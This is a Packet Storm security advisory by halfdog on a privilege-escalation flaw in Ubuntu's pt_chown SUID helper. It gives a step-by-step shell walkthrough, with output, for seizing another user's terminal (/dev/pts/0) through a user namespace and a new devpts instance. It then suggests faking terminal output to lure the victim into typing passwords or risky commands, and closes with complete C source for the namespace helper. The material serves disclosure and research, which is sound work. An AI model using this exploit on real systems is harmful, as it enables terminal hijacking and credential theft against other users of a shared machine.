Ubuntu PT Chown Privilege Escalation

2017-04-01T00:00:00
ID PACKETSTORM:141910
Type packetstorm
Reporter halfdog
Modified 2017-04-01T00:00:00

Description

                                        
                                            `Source: http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/  
  
## Introduction  
  
Problem description: With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:  
  
pty = ptsname (PTY_FILENO);  
if (pty == NULL)  
...  
/* Get the group ID of the special `tty' group. */  
p = getgrnam (TTY_GROUP);  
gid = p ? p->gr_gid : getgid ();  
  
/* Set the owner to the real user ID, and the group to that special  
group ID. */  
if (chown (pty, getuid (), gid) < 0)  
return FAIL_EACCES;  
  
/* Set the permission mode to readable and writable by the owner,  
and writable by the group. */  
if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)  
&& chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)  
return FAIL_EACCES;  
  
return 0;  
  
The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then   
  
## Methods  
  
Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) and work with standard shell commands, e.g. to take over /dev/pts/0:  
  
test# who am I  
test pts/1 2015-12-27 12:00  
test# ./UserNamespacesExec -- /bin/bash  
Setting uid map in /proc/5783/uid_map  
Setting gid map in /proc/5783/gid_map  
euid: 0, egid: 0  
euid: 0, egid: 0  
root# mkdir mnt  
root# mount -t devpts -o newinstance /dev/pts mnt  
root# cd mnt  
root# chmod 0666 ptmx  
  
Use a second shell to continue:  
  
test# cd /proc/5783/cwd  
test# ls -al  
total 4  
drwxr-xr-x 2 root root 0 Dec 27 12:48 .  
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..  
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx  
test# exec 3<>ptmx  
test# ls -al  
total 4  
drwxr-xr-x 2 root root 0 Dec 27 12:48 .  
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..  
crw------- 1 test users 136, 0 Dec 27 12:53 0  
crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx  
test# ls -al /dev/pts/0  
crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0  
test# /usr/lib/pt_chown  
test# ls -al /dev/pts/0  
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0  
  
On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation (http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/) to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.  
  
  
  
  
--- UserNamespaceExec.c ---  
/** This software is provided by the copyright owner "as is" and any  
* expressed or implied warranties, including, but not limited to,  
* the implied warranties of merchantability and fitness for a particular  
* purpose are disclaimed. In no event shall the copyright owner be  
* liable for any direct, indirect, incidential, special, exemplary or  
* consequential damages, including, but not limited to, procurement  
* of substitute goods or services, loss of use, data or profits or  
* business interruption, however caused and on any theory of liability,  
* whether in contract, strict liability, or tort, including negligence  
* or otherwise, arising in any way out of the use of this software,  
* even if advised of the possibility of such damage.  
*  
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>  
* See http://www.halfdog.net/Misc/Utils/ for more information.  
*  
* This tool creates a new namespace, initialize the uid/gid  
* map and execute the program given as argument. This is similar  
* to unshare(1) from newer util-linux packages.  
*  
* gcc -o UserNamespaceExec UserNamespaceExec.c  
*  
* Usage: UserNamespaceExec [options] -- [program] [args]  
*  
* * --NoSetGroups: do not disable group chanages  
* * --NoSetGidMap:  
* * --NoSetUidMap:  
*/  
  
  
#define _GNU_SOURCE  
#include <errno.h>  
#include <fcntl.h>  
#include <sched.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/wait.h>  
#include <unistd.h>  
  
extern char **environ;  
  
static int childFunc(void *arg) {  
int parentPid=getppid();  
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());  
while((geteuid()!=0)&&(parentPid==getppid())) {  
sleep(1);  
}  
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());  
  
int result=execve(((char**)arg)[0], (char**)arg, environ);  
fprintf(stderr, "Exec failed\n");  
return(1);  
}  
  
  
#define STACK_SIZE (1024 * 1024)  
static char child_stack[STACK_SIZE];  
  
int main(int argc, char *argv[]) {  
int argPos;  
int noSetGroupsFlag=0;  
int setGidMapFlag=1;  
int setUidMapFlag=1;  
int result;  
  
for(argPos=1; argPos<argc; argPos++) {  
char *argName=argv[argPos];  
if(!strcmp(argName, "--")) {  
argPos++;  
break;  
}  
if(strncmp(argName, "--", 2)) {  
break;  
}  
if(!strcmp(argName, "--NoSetGidMap")) {  
setGidMapFlag=0;  
continue;  
}  
if(!strcmp(argName, "--NoSetGroups")) {  
noSetGroupsFlag=1;  
continue;  
}  
if(!strcmp(argName, "--NoSetUidMap")) {  
setUidMapFlag=0;  
continue;  
}  
  
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);  
exit(1);  
}  
  
  
// Create child; child commences execution in childFunc()  
// CLONE_NEWNS: new mount namespace  
// CLONE_NEWPID  
// CLONE_NEWUTS  
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,  
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);  
if(pid==-1) {  
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));  
return(1);  
}  
  
char idMapFileName[128];  
char idMapData[128];  
  
if(!noSetGroupsFlag) {  
sprintf(idMapFileName, "/proc/%d/setgroups", pid);  
int setGroupsFd=open(idMapFileName, O_WRONLY);  
if(setGroupsFd<0) {  
fprintf(stderr, "Failed to open setgroups\n");  
return(1);  
}  
result=write(setGroupsFd, "deny", 4);  
if(result<0) {  
fprintf(stderr, "Failed to disable setgroups\n");  
return(1);  
}  
close(setGroupsFd);  
}  
  
if(setUidMapFlag) {  
sprintf(idMapFileName, "/proc/%d/uid_map", pid);  
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);  
int uidMapFd=open(idMapFileName, O_WRONLY);  
if(uidMapFd<0) {  
fprintf(stderr, "Failed to open uid map\n");  
return(1);  
}  
sprintf(idMapData, "0 %d 1\n", getuid());  
result=write(uidMapFd, idMapData, strlen(idMapData));  
if(result<0) {  
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));  
return(1);  
}  
close(uidMapFd);  
}  
  
if(setGidMapFlag) {  
sprintf(idMapFileName, "/proc/%d/gid_map", pid);  
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);  
int gidMapFd=open(idMapFileName, O_WRONLY);  
if(gidMapFd<0) {  
fprintf(stderr, "Failed to open gid map\n");  
return(1);  
}  
sprintf(idMapData, "0 %d 1\n", getgid());  
result=write(gidMapFd, idMapData, strlen(idMapData));  
if(result<0) {  
if(noSetGroupsFlag) {  
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));  
} else {  
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));  
return(1);  
}  
}  
close(gidMapFd);  
}  
  
if(waitpid(pid, NULL, 0)==-1) {  
fprintf(stderr, "Wait failed\n");  
return(1);  
}  
return(0);  
}  
--- EOF ---  
  
`